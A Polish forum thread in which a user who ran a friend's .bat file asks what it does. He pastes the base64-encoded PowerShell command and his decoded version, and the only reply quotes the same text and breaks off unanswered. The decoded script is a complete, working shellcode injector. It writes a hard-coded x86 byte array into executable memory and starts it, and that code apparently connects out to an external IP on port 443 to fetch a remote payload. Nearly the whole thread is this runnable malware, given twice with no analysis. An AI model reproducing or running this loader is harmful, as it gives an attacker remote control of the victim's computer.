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Uruchomiłem tajemniczy skrypt

damian1232

Rekomendowane odpowiedzi

damian1232 Pasjonat

damian1232

Opublikowano
Pasjonat

damian1232

Opublikowano

Witam, znajomy ostatnio podesłał mi skrypt w pliku bat, który nieświadomy niczego uruchomiłem, chciałbym się dowiedzieć, czemu ten skrypt służył. Komenda którą ów `program` wywołał, była zakodowana w formacje 64base i wygladała tak:

 

 

 

JAB5ADcANABtACAAPQAgACcAJABVAG4AUQAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABVAG4AUQAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABmAGMALAAwAHgAZQA4ACwAMAB4ADgAOQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA2ADAALAAwAHgAOAA5ACwAMAB4AGUANQAsADAAeAAzADEALAAwAHgAZAAyACwAMAB4ADYANAAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADMAMAAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADAAYwAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADEANAAsADAAeAA4AGIALAAwAHgANwAyACwAMAB4ADIAOAAsADAAeAAwAGYALAAwAHgAYgA3ACwAMAB4ADQAYQAsADAAeAAyADYALAAwAHgAMwAxACwAMAB4AGYAZgAsADAAeAAzADEALAAwAHgAYwAwACwAMAB4AGEAYwAsADAAeAAzAGMALAAwAHgANgAxACwAMAB4ADcAYwAsADAAeAAwADIALAAwAHgAMgBjACwAMAB4ADIAMAAsADAAeABjADEALAAwAHgAYwBmACwAMAB4ADAAZAAsADAAeAAwADEALAAwAHgAYwA3ACwAMAB4AGUAMgAsADAAeABmADAALAAwAHgANQAyACwAMAB4ADUANwAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADEAMAAsADAAeAA4AGIALAAwAHgANAAyACwAMAB4ADMAYwAsADAAeAAwADEALAAwAHgAZAAwACwAMAB4ADgAYgAsADAAeAA0ADAALAAwAHgANwA4ACwAMAB4ADgANQAsADAAeABjADAALAAwAHgANwA0ACwAMAB4ADQAYQAsADAAeAAwADEALAAwAHgAZAAwACwAMAB4ADUAMAAsADAAeAA4AGIALAAwAHgANAA4ACwAMAB4ADEAOAAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADIAMAAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4AGUAMwAsADAAeAAzAGMALAAwAHgANAA5ACwAMAB4ADgAYgAsADAAeAAzADQALAAwAHgAOABiACwAMAB4ADAAMQAsADAAeABkADYALAAwAHgAMwAxACwAMAB4AGYAZgAsADAAeAAzADEALAAwAHgAYwAwACwAMAB4AGEAYwAsADAAeABjADEALAAwAHgAYwBmACwAMAB4ADAAZAAsADAAeAAwADEALAAwAHgAYwA3ACwAMAB4ADMAOAAsADAAeABlADAALAAwAHgANwA1ACwAMAB4AGYANAAsADAAeAAwADMALAAwAHgANwBkACwAMAB4AGYAOAAsADAAeAAzAGIALAAwAHgANwBkACwAMAB4ADIANAAsADAAeAA3ADUALAAwAHgAZQAyACwAMAB4ADUAOAAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADIANAAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4ADYANgAsADAAeAA4AGIALAAwAHgAMABjACwAMAB4ADQAYgAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADEAYwAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4ADgAYgAsADAAeAAwADQALAAwAHgAOABiACwAMAB4ADAAMQAsADAAeABkADAALAAwAHgAOAA5ACwAMAB4ADQANAAsADAAeAAyADQALAAwAHgAMgA0ACwAMAB4ADUAYgAsADAAeAA1AGIALAAwAHgANgAxACwAMAB4ADUAOQAsADAAeAA1AGEALAAwAHgANQAxACwAMAB4AGYAZgAsADAAeABlADAALAAwAHgANQA4ACwAMAB4ADUAZgAsADAAeAA1AGEALAAwAHgAOABiACwAMAB4ADEAMgAsADAAeABlAGIALAAwAHgAOAA2ACwAMAB4ADUAZAAsADAAeAA2ADgALAAwAHgAMwAzACwAMAB4ADMAMgAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADYAOAAsADAAeAA3ADcALAAwAHgANwAzACwAMAB4ADMAMgAsADAAeAA1AGYALAAwAHgANQA0ACwAMAB4ADYAOAAsADAAeAA0AGMALAAwAHgANwA3ACwAMAB4ADIANgAsADAAeAAwADcALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeABiADgALAAwAHgAOQAwACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADIAOQAsADAAeABjADQALAAwAHgANQA0ACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAHgAMgA5ACwAMAB4ADgAMAAsADAAeAA2AGIALAAwAHgAMAAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgANQAwACwAMAB4ADUAMAAsADAAeAA1ADAALAAwAHgANQAwACwAMAB4ADQAMAAsADAAeAA1ADAALAAwAHgANAAwACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAHgAZQBhACwAMAB4ADAAZgAsADAAeABkAGYALAAwAHgAZQAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOQA3ACwAMAB4ADYAYQAsADAAeAAwADUALAAwAHgANgA4ACwAMAB4ADUAZAAsADAAeABiADUALAAwAHgAOABmACwAMAB4ADYAOQAsADAAeAA2ADgALAAwAHgAMAAyACwAMAB4ADAAMAAsADAAeAAwADEALAAwAHgAYgBiACwAMAB4ADgAOQAsADAAeABlADYALAAwAHgANgBhACwAMAB4ADEAMAAsADAAeAA1ADYALAAwAHgANQA3ACwAMAB4ADYAOAAsADAAeAA5ADkALAAwAHgAYQA1ACwAMAB4ADcANAAsADAAeAA2ADEALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeAA4ADUALAAwAHgAYwAwACwAMAB4ADcANAAsADAAeAAwAGMALAAwAHgAZgBmACwAMAB4ADQAZQAsADAAeAAwADgALAAwAHgANwA1ACwAMAB4AGUAYwAsADAAeAA2ADgALAAwAHgAZgAwACwAMAB4AGIANQAsADAAeABhADIALAAwAHgANQA2ACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgANgBhACwAMAB4ADAAMAAsADAAeAA2AGEALAAwAHgAMAA0ACwAMAB4ADUANgAsADAAeAA1ADcALAAwAHgANgA4ACwAMAB4ADAAMgAsADAAeABkADkALAAwAHgAYwA4ACwAMAB4ADUAZgAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADgAYgAsADAAeAAzADYALAAwAHgANgBhACwAMAB4ADQAMAAsADAAeAA2ADgALAAwAHgAMAAwACwAMAB4ADEAMAAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADUANgAsADAAeAA2AGEALAAwAHgAMAAwACwAMAB4ADYAOAAsADAAeAA1ADgALAAwAHgAYQA0ACwAMAB4ADUAMwAsADAAeABlADUALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeAA5ADMALAAwAHgANQAzACwAMAB4ADYAYQAsADAAeAAwADAALAAwAHgANQA2ACwAMAB4ADUAMwAsADAAeAA1ADcALAAwAHgANgA4ACwAMAB4ADAAMgAsADAAeABkADkALAAwAHgAYwA4ACwAMAB4ADUAZgAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADAAMQAsADAAeABjADMALAAwAHgAMgA5ACwAMAB4AGMANgAsADAAeAA4ADUALAAwAHgAZgA2ACwAMAB4ADcANQAsADAAeABlAGMALAAwAHgAYwAzADsAJABnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAHoALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAZwAgAD0AIAAkAHoALgBMAGUAbgBnAHQAaAB9ADsAJABRAEMAegBRAD0AJAB3ADoAOgBWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoADAALAAwAHgAMQAwADAAMAAsACQAZwAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAoACQAegAuAEwAZQBuAGcAdABoAC0AMQApADsAJABpACsAKwApACAAewAkAHcAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABRAEMAegBRAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGkAKQAsACAAJAB6AFsAJABpAF0ALAAgADEAKQB9ADsAJAB3ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABRAEMAegBRACwAMAAsADAALAAwACkAOwBmAG8AcgAgACgAOwA7ACkAewBTAHQAYQByAHQALQBzAGwAZQBlAHAAIAA2ADAAfQA7ACcAOwAkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAeQA3ADQAbQApACkAOwAkAEYATABkAE8AIAA9ACAAIgAtAEUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQANABLAHYAQQAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJAA0AEsAdgBBACAAJABGAEwAZABPACAAJABlACIAfQBlAGwAcwBlAHsAOwBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkAEYATABkAE8AIAAkAGUAIgA7AH0A

 

 

 

Po dekodacji otrzymałem coś takiego:

 

 

$y74m = '
$UnQ = ''
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
';
$w = Add-Type -memberDefinition $UnQ -Name "Win32" -namespace Win32Functions -passthru;
[byte[]];
[byte[]]
$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x5d,0xb5,0x8f,0x69,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;
$g = 0x1000;
if ($z.Length -gt 0x1000){
$g = $z.Length
};
$QCzQ=$w::VirtualAlloc(0,0x1000,$g,0x40);
 
for ($i=0;$i -le ($z.Length-1);$i++){
$w::memset([intPtr]($QCzQ.ToInt32()+$i), $z[$i], 1)
};
 
$w::CreateThread(0,0,$QCzQ,0,0,0);
for (;;){Start-sleep 60};';
$e = [system.Convert]::ToBase64String([system.Text.Encoding]::Unicode.GetBytes($y74m));
$FLdO = "-EncodedCommand ";
if([intPtr]::Size -eq 8){
$4KvA = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $4KvA $FLdO $e"
}
else{
;iex "& powershell $FLdO $e";
}

 
Powiedzcie proszę co ten kawałek kodu robi ;_;?
Wiem, że znajomy bawił się w c++, toteż tutaj umieściłem ten problem, ale niewykluczone, że to inny język, więc jeżeli się mylę, proszę przerzucić temat do właściwego działu. 
  • 4 tygodnie później...
Vilche Mentor

Vilche

Opublikowano
Mentor

Vilche

Opublikowano

 

Witam, znajomy ostatnio podesłał mi skrypt w pliku bat, który nieświadomy niczego uruchomiłem, chciałbym się dowiedzieć, czemu ten skrypt służył. Komenda którą ów `program` wywołał, była zakodowana w formacje 64base i wygladała tak:

 

 

 

JAB5ADcANABtACAAPQAgACcAJABVAG4AUQAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABVAG4AUQAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABmAGMALAAwAHgAZQA4ACwAMAB4ADgAOQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA2ADAALAAwAHgAOAA5ACwAMAB4AGUANQAsADAAeAAzADEALAAwAHgAZAAyACwAMAB4ADYANAAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADMAMAAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADAAYwAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADEANAAsADAAeAA4AGIALAAwAHgANwAyACwAMAB4ADIAOAAsADAAeAAwAGYALAAwAHgAYgA3ACwAMAB4ADQAYQAsADAAeAAyADYALAAwAHgAMwAxACwAMAB4AGYAZgAsADAAeAAzADEALAAwAHgAYwAwACwAMAB4AGEAYwAsADAAeAAzAGMALAAwAHgANgAxACwAMAB4ADcAYwAsADAAeAAwADIALAAwAHgAMgBjACwAMAB4ADIAMAAsADAAeABjADEALAAwAHgAYwBmACwAMAB4ADAAZAAsADAAeAAwADEALAAwAHgAYwA3ACwAMAB4AGUAMgAsADAAeABmADAALAAwAHgANQAyACwAMAB4ADUANwAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADEAMAAsADAAeAA4AGIALAAwAHgANAAyACwAMAB4ADMAYwAsADAAeAAwADEALAAwAHgAZAAwACwAMAB4ADgAYgAsADAAeAA0ADAALAAwAHgANwA4ACwAMAB4ADgANQAsADAAeABjADAALAAwAHgANwA0ACwAMAB4ADQAYQAsADAAeAAwADEALAAwAHgAZAAwACwAMAB4ADUAMAAsADAAeAA4AGIALAAwAHgANAA4ACwAMAB4ADEAOAAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADIAMAAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4AGUAMwAsADAAeAAzAGMALAAwAHgANAA5ACwAMAB4ADgAYgAsADAAeAAzADQALAAwAHgAOABiACwAMAB4ADAAMQAsADAAeABkADYALAAwAHgAMwAxACwAMAB4AGYAZgAsADAAeAAzADEALAAwAHgAYwAwACwAMAB4AGEAYwAsADAAeABjADEALAAwAHgAYwBmACwAMAB4ADAAZAAsADAAeAAwADEALAAwAHgAYwA3ACwAMAB4ADMAOAAsADAAeABlADAALAAwAHgANwA1ACwAMAB4AGYANAAsADAAeAAwADMALAAwAHgANwBkACwAMAB4AGYAOAAsADAAeAAzAGIALAAwAHgANwBkACwAMAB4ADIANAAsADAAeAA3ADUALAAwAHgAZQAyACwAMAB4ADUAOAAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADIANAAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4ADYANgAsADAAeAA4AGIALAAwAHgAMABjACwAMAB4ADQAYgAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADEAYwAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4ADgAYgAsADAAeAAwADQALAAwAHgAOABiACwAMAB4ADAAMQAsADAAeABkADAALAAwAHgAOAA5ACwAMAB4ADQANAAsADAAeAAyADQALAAwAHgAMgA0ACwAMAB4ADUAYgAsADAAeAA1AGIALAAwAHgANgAxACwAMAB4ADUAOQAsADAAeAA1AGEALAAwAHgANQAxACwAMAB4AGYAZgAsADAAeABlADAALAAwAHgANQA4ACwAMAB4ADUAZgAsADAAeAA1AGEALAAwAHgAOABiACwAMAB4ADEAMgAsADAAeABlAGIALAAwAHgAOAA2ACwAMAB4ADUAZAAsADAAeAA2ADgALAAwAHgAMwAzACwAMAB4ADMAMgAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADYAOAAsADAAeAA3ADcALAAwAHgANwAzACwAMAB4ADMAMgAsADAAeAA1AGYALAAwAHgANQA0ACwAMAB4ADYAOAAsADAAeAA0AGMALAAwAHgANwA3ACwAMAB4ADIANgAsADAAeAAwADcALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeABiADgALAAwAHgAOQAwACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADIAOQAsADAAeABjADQALAAwAHgANQA0ACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAHgAMgA5ACwAMAB4ADgAMAAsADAAeAA2AGIALAAwAHgAMAAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgANQAwACwAMAB4ADUAMAAsADAAeAA1ADAALAAwAHgANQAwACwAMAB4ADQAMAAsADAAeAA1ADAALAAwAHgANAAwACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAHgAZQBhACwAMAB4ADAAZgAsADAAeABkAGYALAAwAHgAZQAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOQA3ACwAMAB4ADYAYQAsADAAeAAwADUALAAwAHgANgA4ACwAMAB4ADUAZAAsADAAeABiADUALAAwAHgAOABmACwAMAB4ADYAOQAsADAAeAA2ADgALAAwAHgAMAAyACwAMAB4ADAAMAAsADAAeAAwADEALAAwAHgAYgBiACwAMAB4ADgAOQAsADAAeABlADYALAAwAHgANgBhACwAMAB4ADEAMAAsADAAeAA1ADYALAAwAHgANQA3ACwAMAB4ADYAOAAsADAAeAA5ADkALAAwAHgAYQA1ACwAMAB4ADcANAAsADAAeAA2ADEALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeAA4ADUALAAwAHgAYwAwACwAMAB4ADcANAAsADAAeAAwAGMALAAwAHgAZgBmACwAMAB4ADQAZQAsADAAeAAwADgALAAwAHgANwA1ACwAMAB4AGUAYwAsADAAeAA2ADgALAAwAHgAZgAwACwAMAB4AGIANQAsADAAeABhADIALAAwAHgANQA2ACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgANgBhACwAMAB4ADAAMAAsADAAeAA2AGEALAAwAHgAMAA0ACwAMAB4ADUANgAsADAAeAA1ADcALAAwAHgANgA4ACwAMAB4ADAAMgAsADAAeABkADkALAAwAHgAYwA4ACwAMAB4ADUAZgAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADgAYgAsADAAeAAzADYALAAwAHgANgBhACwAMAB4ADQAMAAsADAAeAA2ADgALAAwAHgAMAAwACwAMAB4ADEAMAAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADUANgAsADAAeAA2AGEALAAwAHgAMAAwACwAMAB4ADYAOAAsADAAeAA1ADgALAAwAHgAYQA0ACwAMAB4ADUAMwAsADAAeABlADUALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeAA5ADMALAAwAHgANQAzACwAMAB4ADYAYQAsADAAeAAwADAALAAwAHgANQA2ACwAMAB4ADUAMwAsADAAeAA1ADcALAAwAHgANgA4ACwAMAB4ADAAMgAsADAAeABkADkALAAwAHgAYwA4ACwAMAB4ADUAZgAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADAAMQAsADAAeABjADMALAAwAHgAMgA5ACwAMAB4AGMANgAsADAAeAA4ADUALAAwAHgAZgA2ACwAMAB4ADcANQAsADAAeABlAGMALAAwAHgAYwAzADsAJABnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAHoALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAZwAgAD0AIAAkAHoALgBMAGUAbgBnAHQAaAB9ADsAJABRAEMAegBRAD0AJAB3ADoAOgBWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoADAALAAwAHgAMQAwADAAMAAsACQAZwAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAoACQAegAuAEwAZQBuAGcAdABoAC0AMQApADsAJABpACsAKwApACAAewAkAHcAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABRAEMAegBRAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGkAKQAsACAAJAB6AFsAJABpAF0ALAAgADEAKQB9ADsAJAB3ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABRAEMAegBRACwAMAAsADAALAAwACkAOwBmAG8AcgAgACgAOwA7ACkAewBTAHQAYQByAHQALQBzAGwAZQBlAHAAIAA2ADAAfQA7ACcAOwAkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAeQA3ADQAbQApACkAOwAkAEYATABkAE8AIAA9ACAAIgAtAEUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQANABLAHYAQQAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJAA0AEsAdgBBACAAJABGAEwAZABPACAAJABlACIAfQBlAGwAcwBlAHsAOwBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkAEYATABkAE8AIAAkAGUAIgA7AH0A

 

 

 

Po dekodacji otrzymałem coś takiego:

 

 

$y74m = '
$UnQ = ''
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
